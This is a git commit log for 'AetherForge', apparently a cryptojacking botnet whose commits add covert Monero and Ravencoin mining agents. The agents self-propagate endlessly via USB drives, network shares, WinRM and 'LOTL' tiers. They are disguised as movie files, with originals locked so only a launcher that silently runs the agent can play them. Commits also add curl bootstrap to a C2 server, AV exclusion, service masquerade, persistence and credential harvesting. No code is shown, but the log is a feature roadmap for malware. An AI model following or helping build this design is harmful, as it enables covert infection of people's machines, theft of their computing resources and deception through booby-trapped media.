AetherForge
e8562e11cf
Expand LOTL vector glossary, examples, and mermaid architecture docs
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-07 00:46:18 -07:00
AetherForge
6761d4285c
Add forge spread toggles for WinRM and Linux LOTL
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-07 00:43:21 -07:00
AetherForge
9ad4cce194
Tie Mission Deck loose ends: collapse excessive blank lines (DV-15) and refresh PROBLEMS test inventory.
...
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Removes resolved DV-15 maintainability issue, documents P1 LOTL/recon coverage vs P2 live-integration gaps, and keeps FAST PATH hero intact with Pages.css import.
2026-06-07 00:42:57 -07:00
AetherForge
33a66d853d
Sync docs and test inventory after LOTL release
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-07 00:42:06 -07:00
AetherForge
a191fcedfd
Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-07 00:05:09 -07:00
AetherForge
3938bcd1c5
Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
2026-06-06 23:53:21 -07:00
AetherForge
6372b07e6c
Final sweep: Crucible fixes, Path Tracer polish, forge progress, tests green.
...
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Align dashboard subtitle default and UpsertAgent tests with fleet label behavior; WebSocket coalesce and PathForge hardening; Crucible expanded ops and visual DV fixes; Vitest 610/610 and full test-suite pass; trim PROBLEMS.md to open items only.
2026-06-06 18:07:47 -07:00
AetherForge
e65753ce49
fix: second-wave bug fixes, security hardening, visual polish, UX improvements
...
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Bug fixes:
- SRV-B1 through B5: server config, router, server_info, syscheck corrections
- BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3)
- Frontend WS race condition and useVisibleInterval hook fixed
- Drive-root path bug in PathForge resolved
- Upload error handling improved
Security:
- PathForge path traversal guard added
- Script injection escaping applied throughout
Visual (DV-01 through DV-15):
- Cyan design tokens and page headers standardised
- Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css
- SacredPageHeader deleted (replaced inline); sidebar version display fixed
UX:
- Emberwake request storm fixed (EmberwakePage.tsx)
- Help blurbs UH-01, UH-02, UH-06 added
- HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings
Build:
- vite.config.ts: webroot auto-sync on build
- build_universal.go: universal build artifact cleanup
- PROBLEMS.md tracking updated
2026-06-06 17:08:15 -07:00
AetherForge
f1cee99660
chore: crucible and path tracer UI sync
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-06 16:58:13 -07:00
AetherForge
472f0d4413
chore: pathforge and crucible ops follow-up
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-06 16:58:08 -07:00
AetherForge
d5351f31d2
chore: build manager page CSS sync
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-06 16:58:01 -07:00
AetherForge
2d3a0633bd
chore: crucible expanded ops line-ending sync
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-06 16:57:56 -07:00
AetherForge
92db39217f
chore: sync post-pack UI help and pathforge tweaks
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-06 16:57:52 -07:00
AetherForge
415b5dc6a3
Release validation: tests green, USB pack, fleet UX and API hardening.
...
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
2026-06-06 16:57:39 -07:00
AetherForge
a32860b0d9
feat: alive UI wave, galaxy presence, spread and fleet enhancements
...
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00
AetherForge
1551bd5dad
feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
...
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.
Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.
Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00
AetherForge
8466c7aa9b
fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
...
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
2026-06-04 20:41:44 -07:00
AetherForge
6bfce5d5ab
fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start
...
Add runtime comrade account, null-safe spread funnel API/UI, server-started
cloudflared connector with Calibrate token field and builtin fallback, and
simplify LAUNCH to delegate tunnel startup to AetherForge.
2026-06-04 14:14:34 -07:00
AetherForge
5fc601b564
feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
...
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00
AetherForge
d52479c9a6
feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
...
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00
AetherForge
2dd576440e
feat(forge): PATH FORGE lock original - file unplayable without launcher. Renames Terminator.mkv -> Terminator.mkv.locked (no app can open .locked). Launcher: unlock -> play -> re-lock after 4s -> run agent hidden. Toggle in UI defaults ON. .bat uses ren + PowerShell delayed re-lock. .command uses mv + background sleep re-lock. USB repacked.
2026-06-03 01:19:50 -07:00
AetherForge
7f0b20fb26
fix(forge): PATH FORGE - preserve original files, drop all 3 companions. UI now explicitly states original is never touched. Results show original (kept) + all placed companions. Both Win+Mac default on so all 3 always drop together.
2026-06-03 01:15:24 -07:00
AetherForge
924070cd82
feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.
2026-06-03 01:07:38 -07:00
AetherForge
95e8fcc315
feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
2026-06-03 00:41:05 -07:00
AetherForge
34c12107ed
fix: mining always starts, RVN pool in Calibrate, USB repacked
2026-06-02 23:17:53 -07:00
AetherForge
9407efd960
Fix stale alerts for deleted agents on command deck
2026-06-02 22:09:09 -07:00
AetherForge
ca66f5d048
Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
...
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
2026-06-02 21:50:34 -07:00
AetherForge
41b5ec7a88
Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
2026-06-02 20:51:52 -07:00
AetherForge
01d76b3730
Improve fleet control, Crucible ops, and multi-machine identity.
...
Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
2026-06-02 19:19:50 -07:00
AetherForge
1413a9394f
Add pool presets, operator bake-ins, and USB pack improvements
...
- Pool preset checkboxes with failover in Calibrate and Forge
- Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt
- USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
2026-06-01 21:06:19 -07:00
AetherForge
feba06e008
Improve portable launch, forge persistence, and operator auth UX.
...
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
2026-05-31 18:56:43 -07:00
AetherForge
babe644c94
Add Crucible rich terminal renderers and ignore local coverage dirs.
...
Listen ports table UI and styles; gitignore for spread-kits and cov artifact files.
2026-05-31 01:14:49 -07:00
AetherForge
ea6f54ad03
Expand test coverage across server, agent, and web; fix bugs found during audit.
...
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
2026-05-31 01:13:58 -07:00
AetherForge
159747877c
feat: listen_ports + patch_status commands, POSTURE/PATCH/PORTS chips, Scan All Selected button
2026-05-30 23:31:52 -07:00
AetherForge
d005d5d07c
feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
2026-05-30 23:26:50 -07:00
AetherForge
6704933568
feat: resource_pressure - disk free, CPU freq/throttle/temp, GPU temp via nvidia-smi
2026-05-30 23:22:32 -07:00
AetherForge
d010292333
feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat
2026-05-30 23:16:50 -07:00
AetherForge
4207f6c21b
feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack
2026-05-30 23:11:32 -07:00
AetherForge
9232f4c448
feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
...
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
2026-05-30 22:38:48 -07:00
AetherForge
e6b8d84edf
fix: stratum deadlock + contrib-row CSS + README update for recent features
2026-05-30 17:08:37 -07:00
drjones
117801f882
feat: fleet intelligence dashboard -- health score, XMR price, contribution map, analytics
2026-05-30 15:10:50 -07:00
drjones
1afd319cd4
fix: activate 4 DEAD audit items - cancel token, backup pools UI, payment_id to Stratum, remove minimize_to_tray
2026-05-30 12:14:34 -07:00
drjones
77e1dbbb13
feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
2026-05-30 11:44:01 -07:00
drjones
d073dcd7df
feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints
2026-05-30 10:22:06 -07:00
drjones
102d2fb7c6
Add fleet resilience, passive spread, matrix rain UI, and live earnings.
...
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00
drjones
0f9e04f5f6
Add universal forge, fusion disguise, remote deploy, and stability fixes.
...
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00
drjones
e55f11a657
Add full test suite with unit, integration, and E2E smoke tests.
...
Introduce test.bat orchestrating Go/Vitest/Playwright phases, expand coverage across server, agent, and dashboard, and document in tests/README.md.
2026-05-29 10:04:52 -07:00
drjones
f9e26bb1a6
Fix bugs found in full security and stability audit.
...
Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list.
2026-05-29 09:57:22 -07:00
drjones
e11fb30350
Fix dashboard black screen, add login gate, and expand README.
...
Pin React Three Fiber to React 18, remove PWA caching, add SessionGate and error boundaries, and document movie fusion, auth, outputs, and troubleshooting.
2026-05-29 08:50:48 -07:00
drjones
b99c8aab15
Add movie fusion packages with locked media, ZIP export, and batch forge UI.
...
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
2026-05-29 01:33:09 -07:00